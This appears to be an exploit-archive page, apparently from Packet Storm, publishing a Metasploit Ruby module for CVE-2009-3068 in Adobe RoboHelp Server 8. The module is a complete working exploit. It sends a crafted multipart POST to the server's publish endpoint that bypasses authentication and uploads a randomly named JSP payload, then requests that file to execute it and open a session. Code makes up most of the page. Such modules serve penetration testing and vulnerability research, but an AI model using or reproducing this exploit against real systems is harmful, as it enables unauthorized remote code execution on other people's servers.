exploit the possibilities

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a authentication bypass vulnerability which allows remote attackers to upload and execute arbitrary code.

tags | exploit, remote, arbitrary, bypass
advisories | CVE-2009-3068
MD5 | 0e773fbe21185160e80f9dad6116e67e

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.',
'Description' => %q{
This module exploits a authentication bypass vulnerability which
allows remote attackers to upload and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'CVE', '2009-3068' ],
[ 'URL', 'www.intevydis.com/blog/?p=69' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
],
'Targets' =>
[
[ 'Universal Windows Target',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2009'
))

register_options( [ Opt::RPORT(8080) ], self.class )
end

def exploit

page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
uid = rand(20).to_s

file = "-----------------------------#{uid}\r\n"
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
file << "Content-Type: application/x-java-archive\r\n\r\n"
file << payload.encoded
file << "\r\n"

print_status("Sending our POST request...")

res = send_request_cgi(
{
'uri' => '/robohelp/server?PUBLISH=' + uid,
'version' => '1.1',
'method' => 'POST',
'data' => file,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
'UID' => uid,
}
}, 5)

id = res['sessionid'].to_s.strip

if ( res and res.message =~ /OK/ )

print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
data = send_request_raw({
'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page ,
'method' => 'GET',
'version' => '1.0',
}, 5)

handler
else
print_error("No SESSIONID acquired...")
return
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close